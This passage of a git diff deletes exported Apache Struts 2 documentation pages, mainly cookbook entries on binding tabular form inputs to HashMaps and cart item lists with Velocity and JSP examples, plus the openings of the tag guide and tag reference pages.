-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Tabular inputs with HashMap</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="tabular-inputs-with-hashmap.html">Tabular inputs with HashMap</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Tabular inputs with HashMap</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14235">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14235">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14235">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14235">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14235">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14235">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<h2 id="TabularinputswithHashMap-Intro">Intro</h2>
-
-<p>I have a need to enter tabular data, like marks from a list of examination candidates.</p>
-
-<p>This is how it's done :</p>
-
-<p>the mark.vm file..</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-#foreach ( $candidate in $candidateList )
-  #tag( TextField "label=" "name=marks['$candidate.id']" "value='$candidate.mark'" "size=3" )
-#end
-</pre>
-</div></div>
-
-<p>the SaveMarksAction</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-
-public class SaveMarksAction extends ActionSupport {
-	private Map marks = new HashMap();
-
-	public Map getMarks() {
-		return marks;
-	}
-
-
-	public String execute() throws Exception {
-		// get list of candidate IDs
-		List candidateIds = marks.keySet();
-
-		for (Iterator iter = candidateIds.iterator(); iter.hasNext();) {
-			String candidateId = (String) iter.next();
-			String mark = parseMap(marks.get(candidateId));
-
-			// process candidates and marks...
-		}
-
-	}
-
-	// helper function to parse the map of entries....
-	private static String parseMap(String[] map) {
-		if (map == null) {
-			return null;
-		}
-		if (map.length != 1) {
-			return null;
-		}
-		return map[0];
-	}
-
-
-}
-</pre>
-</div></div>
-<h2 id="TabularinputswithHashMap-Explanation">Explanation</h2>
-
-<p>The resulting vm file is rendered as </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;input type="text" name="marks[OS:'candidateId1']" value="4" size="3"/&gt;
-&lt;input type="text" name="marks[OS:'candidateId2']" value="5" size="3"/&gt;
-&lt;input type="text" name="marks[OS:'candidateId3']" value="6" size="3"/&gt;
-&lt;input type="text" name="marks[OS:'candidateId4']" value="7" size="3"/&gt;
-</pre>
-</div></div>
-
-<p>Webwork will populate the marks into the Map marks via </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-private Map marks = new HashMap();
-
-public Map getMarks() {
-	return marks;
-}
-</pre>
-</div></div>
-
-<p>whereby you can get the list of candidateIds via </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-List candidateIds = marks.keySet();
-</pre>
-</div></div>
-
-<p>and the individual marks via </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-for (Iterator iter = candidateIds.iterator(); iter.hasNext();) {
-	String candidateId = (String) iter.next();
-	String mark = parseMap(marks.get(candidateId));
-}
-</pre>
-</div></div>
-
-<h2 id="TabularinputswithHashMap-Possibleenhancements">Possible enhancements</h2>
-
-<p>Couple tabular inputs with some sortable table component (javascript, client side)</p>
-<ul><li><a shape="rect" class="external-link" href="http://webfx.eae.net/dhtml/sortabletable/sortabletable.html" rel="nofollow">http://webfx.eae.net/dhtml/sortabletable/sortabletable.html</a></li></ul>
-
-
-<p>or </p>
-
-<p>DisplayTag (server side)</p>
-<ul><li><a shape="rect" class="external-link" href="http://displaytag.sourceforge.net/" rel="nofollow">http://displaytag.sourceforge.net/</a></li><li><a shape="rect" class="external-link" href="http://www.displaytag.org/index.jsp" rel="nofollow">http://www.displaytag.org/index.jsp</a></li></ul>
-
-
-<p>I believe there's some discussion on the mailing list about using Ognl to handle it automatically. I didn't follow it in detail, but from what I know, (do correct me if I'm wrong) the Ognl method is not available yet. The above works for now. </p>
-<h2 id="TabularinputswithHashMap-Conclusion">Conclusion</h2>
-
-<p>Feedback, comments and suggestions on better methods to perform the same function are welcome. If there's a simpler way, or a customised component to handle this tabular input automatically, I believe it'll be very useful.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tabular-inputs.html b/content/docs/tabular-inputs.html
deleted file mode 100644
index d03be13..0000000
--- a/content/docs/tabular-inputs.html
+++ /dev/null
@@ -1,289 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Tabular inputs</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="tabular-inputs.html">Tabular inputs</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Tabular inputs</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13904">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13904">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13904">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13904">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13904">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13904">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Sometimes you need a way to enter tabular data such as list of quantity for products in a shopping cart, marks from a list of examination candiates, etc.  If you just have one input value per line item, you can use a HashMap to store the value.  This can be expanded to support multiple input values by having multiple HashMap.  This describes a number of alternatives using some of more advanced features of WebWork.  Assume you want to capture the [...]
-
-<h2 id="Tabularinputs-1.Whenthenumberoflineitemsisknown">1. When the number of line items is known</h2>
-
-<p>If you are using JSP:<br clear="none">
-the cart.jsp file in altSyntax</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:iterator value="cart.items" status="rowstatus"&gt;
-  &lt;s:hidden name="cart.items[%{#rowstatus.index}].productId" value="%{productId}"&gt;
-  &lt;s:textfield name="cart.items[%{#rowstatus.index}].qty" value="%{qty}" /&gt;
-  &lt;s:textfield name="cart.items[%{#rowstatus.index}].note" value="%{note}" /&gt;
-&lt;/s:iterator&gt;
-</pre>
-</div></div>
-
-<p>the cart.jsp file (non altSyntax)</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:iterator value="cart.items" status="rowstatus"&gt;
-  &lt;s:hidden name="'cart.items[' + #rowstatus.index + '].productId'" value="productId"&gt;
-  &lt;s:textfield name="'cart.items[' + #rowstatus.index + '].qty'" value="qty" /&gt;
-  &lt;s:textfield name="'cart.items[' + #rowstatus.index + '].note'" value="note" /&gt;
-&lt;/s:iterator&gt;
-</pre>
-</div></div>
-
-<p>Alternatively, if you use Velocity as your view technology of choice:<br clear="none">
-the cart.vm file</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-#foreach ( $item in $cart.items )
-  #set($index = $velocityCount - 1)
-  &lt;input type="hidden" name="cart.items[$index].productId" value="$item.productId"&gt;
-  &lt;input type="text" name="cart.items[$index].qty" value="$item.qty"&gt;
-  &lt;input type="text" name="cart.items[$index].note" value="$item.note"&gt;
-#end
-</pre>
-</div></div>
-
-<p>the UpdateCartAction.class</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class UpdateCartAction extends ActionSupport {
-
-	public Cart getCart() {
-                // Lazy initialization
-                Cart result = ActionContext.getContext().getSession.get("cart.key");
-                if ( result == null ) {
-                        result = new Cart();
-                        ActionContext.getContext().getSession.put("cart.key", result);
-                }
-		return result;
-	}
-
-	public String execute() throws Exception {
-                // Just ensuring our cart is initialized...
-		Cart cart = getCart();
-
-		// loop through a
-	}
-}
-</pre>
-</div></div>
-
-<p>the Cart.class</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class Cart implements Serializable {
-  private List items = new ArrayList();
-
-  public List getItems() {
-    return items;
-  } 
-
-  public void addItem(CartItem item) {
-      ...
-  }
-}
-</pre>
-</div></div>
-
-<p>the CartItem.class</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class CartItem implements Serializable {
-  private int qty;
-  private int productId;
-  private String note;
-
-  // getters/setters...
-}
-</pre>
-</div></div>
-
-
-<h3 id="Tabularinputs-Explanation">Explanation</h3>
-
-<p>The resulting html code is rendered as </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;input type="hidden" name="cart.items[0].productId" value="1"&gt;
-&lt;input type="text" name="cart.items[0].qty" value="2"&gt;
-&lt;input type="text" name="cart.items[0].note" value="This is a fun book!"&gt;
-
-&lt;input type="hidden" name="cart.items[1].productId" value="2"&gt;
-&lt;input type="text" name="cart.items[1].qty" value="2"&gt;
-&lt;input type="text" name="cart.items[1].note" value="You love this one"&gt;
-
-&lt;input type="hidden" name="cart.items[2].productId" value="3"&gt;
-&lt;input type="text" name="cart.items[2].qty" value="$item.qty"&gt;
-&lt;input type="text" name="cart.items[2].note" value=""&gt;
-</pre>
-</div></div>
-
-<p>Webwork will populate all the entries in Cart with the correct values.<br clear="none">
-In depth, the ParametersInterceptor would apply the form results to our model, leading to the call similar like</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-        ((CartItem) updateCartAction.getCart().getItems().get(0)).setProductId(1);
-</pre>
-</div></div>
-<p>for the first shown line in the rendered result.</p>
-
-<h2 id="Tabularinputs-2.Whenthenumberoflineitemsisunknown">2. When the number of line items is unknown</h2>
-
-<p>For example, you want to allow the user to enter any number of ISBN, quanty and a note.  You can replace ArrayList with XWorkList, which will automatically create new items if the index is greater than the size of the list.</p>
-
-<h2 id="Tabularinputs-3.UseTypeConversion">3. Use Type Conversion</h2>
-
-<p>If you want more advanced way to do this, check out <a shape="rect" href="type-conversion.html">Type Conversion</a> documentation.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tag-developers-guide.html b/content/docs/tag-developers-guide.html
deleted file mode 100644
index 9f2b978..0000000
--- a/content/docs/tag-developers-guide.html
+++ /dev/null
@@ -1,174 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Tag Developers Guide</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Tag Developers Guide</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14324">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14324">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14324">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14324">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14324">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14324">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The framework offers a flexible view layer that supports multiple view technologies, including JSP, FreeMaker, and Velocity.</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><ul><li><a shape="rect" href="struts-tags.html">Struts Tags</a><ul><li><a shape="rect" href="generic-tags.html">Generic Tags</a></li><li><a shape="rect" href="ui-tags.html">UI Tags</a></li><li><a shape="rec [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tag-reference.html b/content/docs/tag-reference.html
deleted file mode 100644
index fd28c84..0000000
--- a/content/docs/tag-reference.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Tag Reference</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
